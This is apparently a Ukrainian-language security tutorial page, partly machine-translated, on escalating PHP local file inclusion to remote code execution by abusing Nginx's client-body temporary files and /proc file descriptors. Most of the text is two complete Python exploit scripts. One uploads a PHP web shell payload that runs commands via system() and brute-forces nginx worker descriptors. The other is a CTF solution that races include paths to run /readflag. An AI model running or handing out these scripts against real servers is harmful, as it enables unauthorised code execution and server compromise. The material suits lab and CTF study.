На щастя, PHP зараз часто розгортається через PHP-FPM та Nginx. Nginx пропонує легко помітну функцію буферизації тіла клієнта, яка буде записувати тимчасові файли, якщо тіло клієнта (не обмежене лише на post) більше певного порогу.
Ця функція дозволяє експлуатувати LFI без будь-якого іншого способу створення файлів, якщо Nginx працює в тому ж користувача, що і PHP (дуже часто робиться як www-data).
Це видно, що tempfile відкривається і відразу видаляється Nginx. На щастя, procfs може бути використаний для отримання посилання на видалений файл за допомогою гонки:
Примітка: У цьому прикладі не можна безпосередньо включити /proc/34/fd/15, оскільки функція include PHP розгорне шлях до /var/lib/nginx/body/0000001368 (deleted), який не існує в файловій системі. Це невелике обмеження можна обійти за допомогою деякої опосередкованості, наприклад: /proc/self/fd/34/../../../34/fd/15, що нарешті виконає вміст видаленого файлу /var/lib/nginx/body/0000001368.
Повний Використання
#!/usr/bin/env python3import sys, threading, requests# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for detailsURL =f'http://{sys.argv[1]}:{sys.argv[2]}/'# find nginx worker processesr = requests.get(URL, params={'file': '/proc/cpuinfo'})cpus = r.text.count('processor')r = requests.get(URL, params={'file': '/proc/sys/kernel/pid_max'})pid_max =int(r.text)print(f'[*] cpus: {cpus}; pid_max: {pid_max}')nginx_workers = []for pid inrange(pid_max):r = requests.get(URL, params={'file': f'/proc/{pid}/cmdline'})ifb'nginx: worker process'in r.content:print(f'[*] nginx worker found: {pid}')nginx_workers.append(pid)iflen(nginx_workers)>= cpus:breakdone =False# upload a big client body to force nginx to create a /var/lib/nginx/body/$Xdefuploader():print('[+] starting uploader')whilenot done:requests.get(URL, data='<?php system($_GET["c"]); /*'+16*1024*'A')for _ inrange(16):t = threading.Thread(target=uploader)t.start()# brute force nginx's fds to include body files via procfs# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
defbruter(pid):global donewhilenot done:print(f'[+] brute loop restarted: {pid}')for fd inrange(4, 32):f =f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'r = requests.get(URL, params={'file': f,'c': f'id'})if r.text:print(f'[!] {f}: {r.text}')done =Trueexit()for pid in nginx_workers:a = threading.Thread(target=bruter, args=(pid, ))a.start()
Використання файлів temp Nginx для LFI в RCE
Якщо ви можете використовувати LFI для читання файлів з сервера, ви можете спробувати використати це для виконання коду. Одним з можливих методів є використання файлів temp, які створюються Nginx при завантаженні файлів. Ви можете використати LFI для отримання доступу до цих файлів temp та виконання коду.
Знайдіть шлях до файлів temp Nginx на сервері.
Використовуйте LFI, щоб отримати доступ до файлів temp.
Вставте зловісний код у файл temp, який буде виконаний при завантаженні.
Відкрийте URL-адресу, яка вказує на файл temp, щоб виконати зловісний код.
Будьте обережні, використання цього методу може бути небезпечним і може призвести до вразливостей на сервері.
import requestsimport threadingimport multiprocessingimport threadingimport randomSERVER ="http://localhost:8088"NGINX_PIDS_CACHE =set([34, 35, 36, 37, 38, 39, 40, 41])# Set the following to True to use the above set of PIDs instead of scanning:USE_NGINX_PIDS_CACHE =Falsedefcreate_requests_session():session = requests.Session()# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overheadadapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)session.mount('http://', adapter)return sessiondefget_nginx_pids(requests_session):if USE_NGINX_PIDS_CACHE:return NGINX_PIDS_CACHEnginx_pids =set()# Scan up to PID 200for i inrange(1, 200):cmdline = requests_session.get(SERVER +f"/?action=read&file=/proc/{i}/cmdline").textif cmdline.startswith("nginx: worker process"):nginx_pids.add(i)return nginx_pidsdefsend_payload(requests_session,body_size=1024000):try:# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fastpayload ='<?php system("/readflag"); ?> //'requests_session.post(SERVER +"/?action=read&file=/bla", data=(payload + ("a"* (body_size -len(payload)))))except:passdefsend_payload_worker(requests_session):whileTrue:send_payload(requests_session)defsend_payload_multiprocess(requests_session):# Use all CPUs to send the payload as request body for Nginxfor _ inrange(multiprocessing.cpu_count()):p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))p.start()defgenerate_random_path_prefix(nginx_pids):# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path =""component_num = random.randint(0, 10)for _ inrange(component_num):pid = random.choice(nginx_pids)if random.randint(0, 1)==0:path +=f"/proc/{pid}/cwd"else:path +=f"/proc/{pid}/root"return pathdefread_file(requests_session,nginx_pid,fd,nginx_pids):nginx_pid_list =list(nginx_pids)whileTrue:path =generate_random_path_prefix(nginx_pid_list)path +=f"/proc/{nginx_pid}/fd/{fd}"try:d = requests_session.get(SERVER +f"/?action=include&file={path}").textexcept:continue# Flags are formatted as hxp{<flag>}if"hxp"in d:print("Found flag! ")print(d)defread_file_worker(requests_session,nginx_pid,nginx_pids):# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd inrange(10, 45):thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))thread.start()defread_file_multiprocess(requests_session,nginx_pids):for nginx_pid in nginx_pids:p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))p.start()if__name__=="__main__":print('[DEBUG] Creating requests session')requests_session =create_requests_session()print('[DEBUG] Getting Nginx pids')nginx_pids =get_nginx_pids(requests_session)print(f'[DEBUG] Nginx pids: {nginx_pids}')print('[DEBUG] Starting payload sending')send_payload_multiprocess(requests_session)print('[DEBUG] Starting fd readers')read_file_multiprocess(requests_session, nginx_pids)